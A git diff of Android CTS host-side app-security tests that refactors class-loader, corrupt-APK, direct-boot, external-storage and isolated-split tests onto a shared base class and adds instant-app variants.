-        Utils.prepareSingleUser(getDevice());
-        getDevice().uninstallPackage(PKG);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        getDevice().uninstallPackage(PKG);
-    }
-
-    @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testBaseClassLoader() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-    }
-
-    @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testFeatureAClassLoader() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
-    }
-
-    @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testFeatureBClassLoader() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureBClassLoader");
-    }
-
-    @Test
-    @AppModeFull // TODO: Needs porting to instant
-    public void testReceiverClassLoaders() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testAllReceivers");
-    }
-
-    private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
-        public InstallMultiple() {
-            super(getDevice(), getBuild(), null);
-        }
-    }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
-    }
-}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 8516c73..eec0878 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -16,23 +16,13 @@
 package android.appsecurity.cts;
 
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.AppModeFull;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
-import org.junit.Assert;
 import org.junit.Before;
 
 import java.io.File;
@@ -42,114 +32,80 @@
  * do not cause the system to crash.
  */
 @AppModeFull(reason = "the corrupt APKs were provided as-is and we cannot modify them to comply with instant mode")
-public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
+public class CorruptApkTests extends BaseAppSecurityTest {
+    private final String B71360999_PKG = "com.android.appsecurity.b71360999";
+    private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+    private final String B79488511_PKG = "com.android.appsecurity.b79488511";
 
-    private IBuildInfo mBuildInfo;
-
-    /** A container for information about the system_server process. */
-    private class SystemServerInformation {
-        final long mPid;
-        final long mStartTime;
-
-        SystemServerInformation(long pid, long startTime) {
-            this.mPid = pid;
-            this.mStartTime = startTime;
-        }
-
-        @Override
-        public boolean equals(Object actual) {
-            return (actual instanceof SystemServerInformation)
-                && mPid == ((SystemServerInformation) actual).mPid
-                && mStartTime == ((SystemServerInformation) actual).mStartTime;
-        }
-    }
-
-    /** Retrieves the process id and elapsed run time of system_server. */
-    private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
-        ITestDevice device = getDevice();
-
-        // Retrieve the process id of system_server
-        String pidResult = device.executeShellCommand("pidof system_server").trim();
-        assertNotNull("Failed to retrieve pid of system_server", pidResult);
-        long pid = 0;
-        try {
-            pid = Long.parseLong(pidResult);
-        } catch (NumberFormatException | IndexOutOfBoundsException e) {
-            fail("Unable to parse pid of system_server '" + pidResult + "'");
-        }
-
-        // Retrieve the start time of system_server
-        long startTime = 0;
-        String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
-        assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
-        try {
-            String startTimeJiffies = pidStats.split("\\s+")[21];
-            startTime = Long.parseLong(startTimeJiffies);
-        } catch (NumberFormatException | IndexOutOfBoundsException e) {
-            fail("Unable to parse system_server stat file '" + pidStats + "'");
-        }
-
-        return new SystemServerInformation(pid, startTime);
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
-    }
-
-   /** Uninstall any test APKs already present on device. */
-    private void uninstallApks() throws DeviceNotAvailableException {
-        ITestDevice device = getDevice();
-        device.uninstallPackage("com.android.appsecurity.b71360999");
-        device.uninstallPackage("com.android.appsecurity.b71361168");
-        device.uninstallPackage("com.android.appsecurity.b79488511");
-    }
-
+    private final String B71360999_APK = "CtsCorruptApkTests_b71360999.apk";
+    private final String B71361168_APK = "CtsCorruptApkTests_b71361168.apk";
+    private final String B79488511_APK = "CtsCorruptApkTests_b79488511.apk";
     @Before
-    @Override
     public void setUp() throws Exception {
-        super.setUp();
-        uninstallApks();
+        getDevice().uninstallPackage(B71360999_PKG);
+        getDevice().uninstallPackage(B71361168_PKG);
+        getDevice().uninstallPackage(B79488511_PKG);
     }
 
     @After
-    @Override
     public void tearDown() throws Exception {
-        super.tearDown();
-        uninstallApks();
+        getDevice().uninstallPackage(B71360999_PKG);
+        getDevice().uninstallPackage(B71361168_PKG);
+        getDevice().uninstallPackage(B79488511_PKG);
     }
 
     /**
-     * Asserts that installing the application does not cause a native error causing system_server
-     * to crash (typically the result of a buffer overflow or an out-of-bounds read).
+     * Tests that apks described in b/71360999 do not install successfully.
      */
-    private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
-        SystemServerInformation beforeInfo = retrieveInfo();
-
-        final String result = getDevice().installPackage(
-                new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
-                false /*reinstall*/);
-        CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
-        if (result != null) {
-            assertFalse("Install package segmentation faulted",
-                result.toLowerCase().contains("segmentation fault"));
+    public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
+        if (getDevice().getApiLevel() < 28) {
+            return;
         }
-
-        assertEquals("system_server restarted", beforeInfo, retrieveInfo());
+        assertInstallWithoutFatalError(B71360999_APK, B71360999_PKG);
     }
 
-    /** Tests that installing the APK described in b/71360999 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
+    /**
+     * Tests that apks described in b/71361168 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
+        if (getDevice().getApiLevel() < 28) {
+            return;
+        }
+        assertInstallWithoutFatalError(B71361168_APK, B71361168_PKG);
     }
 
-    /** Tests that installing the APK described in b/71361168 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
+    /**
+     * Tests that apks described in b/79488511 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+        if (getDevice().getApiLevel() < 28) {
+            return;
+        }
+        assertInstallWithoutFatalError(B79488511_APK, B79488511_PKG);
     }
 
-    /** Tests that installing the APK described in b/79488511 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
+    /**
+     * Asserts that installing the application does not cause a native error [typically
+     * the result of a buffer overflow or an out-of-bounds read].
+     */
+    private void assertInstallWithoutFatalError(String apk, String pkg) throws Exception {
+        getDevice().clearLogcat();
+
+        new InstallMultiple().addApk(apk).runExpectingFailure();
+
+        // This catches if the device fails to install the app because a segmentation fault
+        // or out of bounds read created by the bug occurs
+        final File tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
+        final InputStreamSource source = getDevice().getLogcat(200 * 1024);
+        try {
+            assertNotNull(source);
+            FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
+            final String s = FileUtil.readStringFromFile(tmpTxtFile);
+            assertFalse(s.contains("SIGSEGV"));
+            assertFalse(s.contains("==ERROR"));
+        } finally {
+            source.close();
+            FileUtil.deleteFile(tmpTxtFile);
+        }
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 4dc768a..559380d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -19,7 +19,6 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.ddmlib.AdbCommandRejectedException;
 import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.Log;
@@ -58,9 +57,11 @@
 
     private static final long SHUTDOWN_TIME_MS = 30 * 1000;
 
+    private int[] mUsers;
+
     @Before
     public void setUp() throws Exception {
-        Utils.prepareSingleUser(getDevice());
+        mUsers = Utils.prepareSingleUser(getDevice());
         assertNotNull(getAbi());
         assertNotNull(getBuild());
 
@@ -78,7 +79,6 @@
      * Automotive devices MUST support native FBE.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testAutomotiveNativeFbe() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -96,7 +96,6 @@
      * If device has native FBE, verify lifecycle.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testDirectBootNative() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -113,7 +112,6 @@
      * If device doesn't have native FBE, enable emulation and verify lifecycle.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testDirectBootEmulated() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -130,7 +128,6 @@
      * If device doesn't have native FBE, verify normal lifecycle.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testDirectBootNone() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -152,13 +149,12 @@
 
             // To receive boot broadcasts, kick our other app out of stopped state
             getDevice().executeShellCommand("am start -a android.intent.action.MAIN"
-                    + " --user current"
                     + " -c android.intent.category.LAUNCHER com.android.cts.splitapp/.MyActivity");
 
             // Give enough time for PackageManager to persist stopped state
             Thread.sleep(15000);
 
-            runDeviceTestsAsCurrentUser(PKG, CLASS, "testSetUp");
+            runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -178,16 +174,16 @@
 
             if (doTest) {
                 if (MODE_NONE.equals(mode)) {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
+                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
                 } else {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
+                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
                 }
             }
 
         } finally {
             try {
                 // Remove secure lock screens and tear down test app
-                runDeviceTestsAsCurrentUser(PKG, CLASS, "testTearDown");
+                runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
             } finally {
                 getDevice().uninstallPackage(PKG);
 
@@ -204,10 +200,12 @@
         }
     }
 
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName,
+            int... users) throws DeviceNotAvailableException {
+        for (int user : users) {
+            Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
+            runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
+        }
     }
 
     private String getFbeMode() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
index 6530e96..6f3b8cd 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTest.java
@@ -16,14 +16,12 @@
 
 package android.appsecurity.cts;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 
 /**
  * Set of tests that verify behavior of
  * {@link android.provider.DocumentsContract} and related intents.
  */
-@AppModeFull // TODO: Needs porting to instant
 public class DocumentsTest extends DocumentsTestCase {
     private static final String PROVIDER_PKG = "com.android.cts.documentprovider";
     private static final String PROVIDER_APK = "CtsDocumentProvider.apk";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 538bc00..37a06d4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -34,7 +34,7 @@
 /**
  * Tests for ephemeral packages.
  */
-@AppModeFull // Already handles instant installs when needed.
+@AppModeFull(reason = "Already handles instant installs when needed")
 public class EphemeralTest extends DeviceTestCase
         implements IAbiReceiver, IBuildReceiver {
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index c2a0531..3ba96ea 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -21,7 +21,6 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
-import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -79,7 +78,6 @@
      * Verify that app with no external storage permissions works correctly.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageNone() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -103,7 +101,6 @@
      * correctly.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageRead() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -127,7 +124,6 @@
      * correctly.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageWrite() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -150,7 +146,6 @@
      * directories belonging to other apps, and those apps can read.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageGifts() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -185,7 +180,6 @@
      * isolated storage.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testMultiUserStorageIsolated() throws Exception {
         try {
             if (mUsers.length == 1) {
@@ -232,7 +226,6 @@
      * when apps with r/w permission levels move around their files.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testMultiViewMoveConsistency() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -276,7 +269,6 @@
 
     /** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testExternalStorageReadDefaultUris() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -313,7 +305,6 @@
      * tool to read/write files in those locations.
      */
     @Test
-    @AppModeFull // TODO: Needs porting to instant
     public void testSecondaryUsersInaccessible() throws Exception {
         List<String> mounts = new ArrayList<>();
         for (String line : getDevice().executeShellCommand("cat /proc/mounts").split("\n")) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index aa7998b..a22ee80 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -30,7 +30,7 @@
 /**
  * Tests for ephemeral packages.
  */
-@AppModeFull // Already handles instant installs when needed.
+@AppModeFull(reason = "Already handles instant installs when needed")
 public class InstantAppUserTest extends DeviceTestCase
         implements IAbiReceiver, IBuildReceiver {
 
@@ -56,7 +56,6 @@
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
     private int[] mTestUser = new int[2];
-    private int mStartingUser;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -84,7 +83,6 @@
             if (mPrimaryUserId != USER_SYSTEM) {
                 mFixedUsers.add(USER_SYSTEM);
             }
-            mStartingUser = getDevice().getCurrentUser();
             getDevice().switchUser(mPrimaryUserId);
 
             mTestUser[0] = users[1];
@@ -99,7 +97,6 @@
         if (mSupportsMultiUser) {
             uninstallTestPackages();
         }
-        getDevice().switchUser(mStartingUser);
         super.tearDown();
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index 0fc41ab..a02edb8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -26,7 +26,7 @@
 /**
  * Tests for the instant cookie APIs
  */
-@AppModeFull // Already handles instant installs when needed.
+@AppModeFull(reason = "Already handles instant installs when needed")
 public class InstantCookieHostTest extends DeviceTestCase implements IBuildReceiver {
     private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
     private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index a9ac9b0..3bc1654 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -16,13 +16,16 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
+import android.platform.test.annotations.AppModeInstant;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@AppModeFull // TODO: Needs porting to instant
-public class IsolatedSplitsTests extends DeviceTestCase implements IBuildReceiver {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class IsolatedSplitsTests extends BaseAppSecurityTest {
     private static final String PKG = "com.android.cts.isolatedsplitapp";
     private static final String TEST_CLASS = PKG + ".SplitAppTest";
 
@@ -41,100 +44,154 @@
     private static final String APK_FEATURE_C = "CtsIsolatedSplitAppFeatureC.apk";
     private static final String APK_FEATURE_C_pl = "CtsIsolatedSplitAppFeatureC_pl.apk";
 
-    private IBuildInfo mBuildInfo;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
         getDevice().uninstallPackage(PKG);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @After
+    public void tearDown() throws Exception {
         getDevice().uninstallPackage(PKG);
     }
 
-    public void testInstallBase() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallBase_full() throws Exception {
+        testInstallBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallBase_instant() throws Exception {
+        testInstallBase(true);
+    }
+    private void testInstallBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
     }
 
-    public void testInstallBaseAndConfigSplit() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_BASE_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallBaseAndConfigSplit_full() throws Exception {
+        testInstallBaseAndConfigSplit(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallBaseAndConfigSplit_instant() throws Exception {
+        testInstallBaseAndConfigSplit(true);
+    }
+    private void testInstallBaseAndConfigSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_BASE_pl).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
     }
 
-    public void testInstallMissingDependency() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_B).runExpectingFailure();
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallMissingDependency_full() throws Exception {
+        testInstallMissingDependency(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallMissingDependency_instant() throws Exception {
+        testInstallMissingDependency(true);
+    }
+    private void testInstallMissingDependency(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_B).runExpectingFailure();
     }
 
-    public void testInstallOneFeatureSplit() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+    @Test
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    public void testInstallOneFeatureSplit_full() throws Exception {
+        testInstallOneFeatureSplit(false);
+    }
+    private void testInstallOneFeatureSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
     }
 
-    public void testInstallOneFeatureSplitAndConfigSplits() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallOneFeatureSplitAndConfigSplits_full() throws Exception {
+        testInstallOneFeatureSplitAndConfigSplits(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallOneFeatureSplitAndConfigSplits_instant() throws Exception {
+        testInstallOneFeatureSplitAndConfigSplits(true);
+    }
+    private void testInstallOneFeatureSplitAndConfigSplits(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
                 .addApk(APK_FEATURE_A_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
     }
 
-    public void testInstallDependentFeatureSplits() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+    @Test
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    public void testInstallDependentFeatureSplits_full() throws Exception {
+        testInstallDependentFeatureSplits(false);
+    }
+    private void testInstallDependentFeatureSplits(boolean instant) throws Exception {
+        new InstallMultiple(instant)
+                .addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
     }
 
-    public void testInstallDependentFeatureSplitsAndConfigSplits() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testInstallDependentFeatureSplitsAndConfigSplits_full() throws Exception {
+        testInstallDependentFeatureSplitsAndConfigSplits(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testInstallDependentFeatureSplitsAndConfigSplits_instant() throws Exception {
+        testInstallDependentFeatureSplitsAndConfigSplits(true);
+    }
+    private void testInstallDependentFeatureSplitsAndConfigSplits(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
     }
 
-    public void testInstallAllFeatureSplits() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
+    @Test
+    @AppModeFull(reason = "b/109878606; instant applications can't send broadcasts to manifest receivers")
+    public void testInstallAllFeatureSplits_full() throws Exception {
+        testInstallAllFeatureSplits(false);
+    }
+    private void testInstallAllFeatureSplits(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
     }
 
-    public void testInstallAllFeatureSplitsAndConfigSplits() throws Exception {
-        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
